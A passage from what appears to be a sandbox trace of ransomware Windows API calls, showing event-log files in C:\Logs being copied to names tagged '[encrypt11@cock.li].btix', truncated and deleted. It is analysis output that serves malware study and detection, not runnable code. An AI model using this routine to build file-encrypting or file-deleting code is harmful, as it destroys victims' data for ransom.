lstrlenW (lpString=".rar") returned 4 [0051.211] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0051.211] lstrlenW (lpString=".bz2") returned 4 [0051.211] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0051.211] lstrlenW (lpString=".7z") returned 3 [0051.211] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0051.211] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55 [0051.211] lstrlenW (lpString=".dbf") returned 4 [0051.211] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0051.211] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55 [0051.211] lstrlenW (lpString=".1cd") returned 4 [0051.211] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0051.211] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55 [0051.211] lstrlenW (lpString=".jpg") returned 4 [0051.211] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0051.211] lstrcmpiW (lpString1=".evtx", lpString2=".btix") returned 1 [0051.211] lstrlenW (lpString="Microsoft-Windows-Ntfs%4Operational.evtx") returned 40 [0051.211] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0051.233] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x302ff14 | out: lpFileSize=0x302ff14*=69632) returned 1 [0051.233] CloseHandle (hObject=0x344) returned 1 [0051.233] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4operational.evtx")) returned 0x20 [0051.233] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-ntfs%4operational.evtx.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0051.233] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0051.233] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0051.233] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0051.233] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-ntfs%4operational.evtx.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0051.235] GetLastError () returned 0x0 [0051.235] ReadFile (in: hFile=0x344, lpBuffer=0x3b14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesRead=0x302fecc*=0x11000, lpOverlapped=0x0) returned 1 [0051.346] WriteFile (in: hFile=0x398, lpBuffer=0x3b14020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesWritten=0x302fc94*=0x11010, lpOverlapped=0x0) returned 1 [0051.348] ReadFile (in: hFile=0x344, lpBuffer=0x3b14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesRead=0x302fecc*=0x0, lpOverlapped=0x0) returned 1 [0051.348] WriteFile (in: hFile=0x398, lpBuffer=0x3b14020*, nNumberOfBytesToWrite=0x124, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesWritten=0x302fc94*=0x124, lpOverlapped=0x0) returned 1 [0051.348] SetEndOfFile (hFile=0x398) returned 1 [0051.348] CloseHandle (hObject=0x398) returned 1 [0051.350] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0051.350] SetEndOfFile (hFile=0x344) returned 1 [0051.351] CloseHandle (hObject=0x344) returned 1 [0051.351] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0051.351] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4operational.evtx")) returned 1 [0051.351] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48 [0051.351] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48 [0051.351] lstrlenW (lpString=".doc") returned 4 [0051.351] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0051.351] lstrlenW (lpString=".docx") returned 5 [0051.351] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0051.351] lstrlenW (lpString=".pdf") returned 4 [0051.351] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0051.351] lstrlenW (lpString=".xls") returned 4 [0051.351] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0051.351] lstrlenW (lpString=".xlsx") returned 5 [0051.351] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0051.351] lstrlenW (lpString=".ppt") returned 4 [0051.352] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0051.352] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48 [0051.352] lstrlenW (lpString=".zip") returned 4 [0051.352] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0051.352] lstrlenW (lpString=".rar") returned 4 [0051.352] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0051.352] lstrlenW (lpString=".bz2") returned 4 [0051.352] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0051.352] lstrlenW (lpString=".7z") returned 3 [0051.352] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0051.352] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48 [0051.352] lstrlenW (lpString=".dbf") returned 4 [0051.352] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0051.352] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48 [0051.352] lstrlenW (lpString=".1cd") returned 4 [0051.352] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0051.352] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48 [0051.352] lstrlenW (lpString=".jpg") returned 4 [0051.352] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0051.352] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48 [0051.352] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48 [0051.352] lstrlenW (lpString=".doc") returned 4 [0051.352] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0051.352] lstrlenW (lpString=".docx") returned 5 [0051.352] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0051.352] lstrlenW (lpString=".pdf") returned 4 [0051.352] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0051.352] lstrlenW (lpString=".xls") returned 4 [0051.352] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0051.352] lstrlenW (lpString=".xlsx") returned 5 [0051.353] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0051.353] lstrlenW (lpString=".ppt") returned 4 [0051.353] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0051.353] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48 [0051.353] lstrlenW (lpString=".zip") returned 4 [0051.353] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0051.353] lstrlenW (lpString=".rar") returned 4 [0051.353] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0051.353] lstrlenW (lpString=".bz2") returned 4 [0051.353] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0051.353] lstrlenW (lpString=".7z") returned 3 [0051.353] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0051.353] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48 [0051.353] lstrlenW (lpString=".dbf") returned 4 [0051.353] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0051.353] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48 [0051.353] lstrlenW (lpString=".1cd") returned 4 [0051.353] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0051.353] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48 [0051.353] lstrlenW (lpString=".jpg") returned 4 [0051.353] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0051.354] lstrcmpiW (lpString1=".evtx", lpString2=".btix") returned 1 [0051.354] lstrlenW (lpString="Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 64 [0051.354] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-resource-exhaustion-detector%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0051.354] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x302ff14 | out: lpFileSize=0x302ff14*=69632) returned 1 [0051.354] CloseHandle (hObject=0x344) returned 1 [0051.354] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-resource-exhaustion-detector%4operational.evtx")) returned 0x20 [0051.354] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-resource-exhaustion-detector%4operational.evtx.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0051.354] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-resource-exhaustion-detector%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0051.354] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0051.354] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0051.354] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-resource-exhaustion-detector%4operational.evtx.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0051.355] GetLastError () returned 0x0 [0051.355] ReadFile (in: hFile=0x344, lpBuffer=0x3b14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesRead=0x302fecc*=0x11000, lpOverlapped=0x0) returned 1 [0051.380] WriteFile (in: hFile=0x398, lpBuffer=0x3b14020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesWritten=0x302fc94*=0x11010, lpOverlapped=0x0) returned 1 [0051.382] ReadFile (in: hFile=0x344, lpBuffer=0x3b14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesRead=0x302fecc*=0x0, lpOverlapped=0x0) returned 1 [0051.382] WriteFile (in: hFile=0x398, lpBuffer=0x3b14020*, nNumberOfBytesToWrite=0x154, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesWritten=0x302fc94*=0x154, lpOverlapped=0x0) returned 1 [0051.382] SetEndOfFile (hFile=0x398) returned 1 [0051.396] CloseHandle (hObject=0x398) returned 1 [0051.401] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0051.401] SetEndOfFile (hFile=0x344) returned 1 [0051.412] CloseHandle (hObject=0x344) returned 1 [0051.412] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0051.412] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-resource-exhaustion-detector%4operational.evtx")) returned 1 [0051.412] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72 [0051.412] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72 [0051.412] lstrlenW (lpString=".doc") returned 4 [0051.413] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0051.413] lstrlenW (lpString=".docx") returned 5 [0051.413] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0051.413] lstrlenW (lpString=".pdf") returned 4 [0051.413] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0051.413] lstrlenW (lpString=".xls") returned 4 [0051.413] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0051.413] lstrlenW (lpString=".xlsx") returned 5 [0051.413] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0051.413] lstrlenW (lpString=".ppt") returned 4 [0051.413] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0051.413] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72 [0051.413] lstrlenW (lpString=".zip") returned 4 [0051.413] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0051.413] lstrlenW (lpString=".rar") returned 4 [0051.413] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0051.413] lstrlenW (lpString=".bz2") returned 4 [0051.413] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0051.413] lstrlenW (lpString=".7z") returned 3 [0051.413] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0051.413] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72 [0051.413] lstrlenW (lpString=".dbf") returned 4 [0051.413] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0051.413] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72 [0051.413] lstrlenW (lpString=".1cd") returned 4 [0051.413] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0051.413] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72 [0051.413] lstrlenW (lpString=".jpg") returned 4 [0051.413] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0051.413] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72 [0051.414] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72 [0051.414] lstrlenW (lpString=".doc") returned 4 [0051.414] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0051.414] lstrlenW (lpString=".docx") returned 5 [0051.414] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0051.414] lstrlenW (lpString=".pdf") returned 4 [0051.414] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0051.414] lstrlenW (lpString=".xls") returned 4 [0051.414] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0051.414] lstrlenW (lpString=".xlsx") returned 5 [0051.414] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0051.414] lstrlenW (lpString=".ppt") returned 4 [0051.414] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0051.414] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72 [0051.414] lstrlenW (lpString=".zip") returned 4 [0051.414] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0051.414] lstrlenW (lpString=".rar") returned 4 [0051.414] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0051.414] lstrlenW (lpString=".bz2") returned 4 [0051.414] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0051.414] lstrlenW (lpString=".7z") returned 3 [0051.414] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0051.414] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72 [0051.414] lstrlenW (lpString=".dbf") returned 4 [0051.414] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0051.414] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72 [0051.414] lstrlenW (lpString=".1cd") returned 4 [0051.414] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0051.414] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72 [0051.414] lstrlenW (lpString=".jpg") returned 4 [0051.414] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0051.415] lstrcmpiW (lpString1=".evtx", lpString2=".btix") returned 1 [0051.415] lstrlenW (lpString="Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 47 [0051.415] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4actioncenter.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0051.415] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x302ff14 | out: lpFileSize=0x302ff14*=69632) returned 1 [0051.415] CloseHandle (hObject=0x344) returned 1 [0051.415] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4actioncenter.evtx")) returned 0x20 [0051.415] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-shell-core%4actioncenter.evtx.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0051.415] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4actioncenter.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0051.416] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0051.416] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0051.416] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-shell-core%4actioncenter.evtx.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0051.416] GetLastError () returned 0x0 [0051.416] ReadFile (in: hFile=0x344, lpBuffer=0x3b14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesRead=0x302fecc*=0x11000, lpOverlapped=0x0) returned 1 [0051.588] WriteFile (in: hFile=0x328, lpBuffer=0x3b14020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesWritten=0x302fc94*=0x11010, lpOverlapped=0x0) returned 1 [0051.590] ReadFile (in: hFile=0x344, lpBuffer=0x3b14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesRead=0x302fecc*=0x0, lpOverlapped=0x0) returned 1 [0051.590] WriteFile (in: hFile=0x328, lpBuffer=0x3b14020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesWritten=0x302fc94*=0x132, lpOverlapped=0x0) returned 1 [0051.590] SetEndOfFile (hFile=0x328) returned 1 [0051.590] CloseHandle (hObject=0x328) returned 1 [0051.592] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0051.592] SetEndOfFile (hFile=0x344) returned 1 [0051.593] CloseHandle (hObject=0x344) returned 1 [0051.593] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0051.593] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4actioncenter.evtx")) returned 1 [0051.593] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55 [0051.593] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55 [0051.593] lstrlenW (lpString=".doc") returned 4 [0051.593] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0051.593] lstrlenW (lpString=".docx") returned 5 [0051.593] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0051.593] lstrlenW (lpString=".pdf") returned 4 [0051.593] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0051.593] lstrlenW (lpString=".xls") returned 4 [0051.593] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0051.593] lstrlenW (lpString=".xlsx") returned 5 [0051.594] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0051.594] lstrlenW (lpString=".ppt") returned 4 [0051.594] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0051.594] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55 [0051.594] lstrlenW (lpString=".zip") returned 4 [0051.594] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0051.594] lstrlenW (lpString=".rar") returned 4 [0051.594] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0051.594] lstrlenW (lpString=".bz2") returned 4 [0051.594] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0051.594] lstrlenW (lpString=".7z") returned 3 [0051.594] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0051.594] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55 [0051.594] lstrlenW (lpString=".dbf") returned 4 [0051.594] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0051.594] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55 [0051.594] lstrlenW (lpString=".1cd") returned 4 [0051.594] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0051.594] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55 [0051.594] lstrlenW (lpString=".jpg") returned 4 [0051.594] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0051.594] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55 [0051.594] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55 [0051.594] lstrlenW (lpString=".doc") returned 4 [0051.594] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0051.594] lstrlenW (lpString=".docx") returned 5 [0051.594] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0051.594] lstrlenW (lpString=".pdf") returned 4 [0051.594] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0051.595] lstrlenW (lpString=".xls") returned 4 [0051.595] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0051.595] lstrlenW (lpString=".xlsx") returned 5 [0051.595] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0051.595] lstrlenW (lpString=".ppt") returned 4 [0051.595] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0051.595] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55 [0051.595] lstrlenW (lpString=".zip") returned 4 [0051.595] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0051.595] lstrlenW (lpString=".rar") returned 4 [0051.595] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0051.595] lstrlenW (lpString=".bz2") returned 4 [0051.595] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0051.595] lstrlenW (lpString=".7z") returned 3 [0051.595] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0051.595] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55 [0051.595] lstrlenW (lpString=".dbf") returned 4 [0051.595] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0051.595] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55 [0051.595] lstrlenW (lpString=".1cd") returned 4 [0051.595] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0051.595] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55 [0051.595] lstrlenW (lpString=".jpg") returned 4 [0051.595] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0051.595] lstrcmpiW (lpString1=".evtx", lpString2=".btix") returned 1 [0051.595] lstrlenW (lpString="Microsoft-Windows-Shell-Core%4Operational.evtx") returned 46 [0051.595] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0051.596] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x302ff14 | out: lpFileSize=0x302ff14*=69632) returned 1 [0051.596] CloseHandle (hObject=0x344) returned 1 [0051.596] GetFileAttributesW 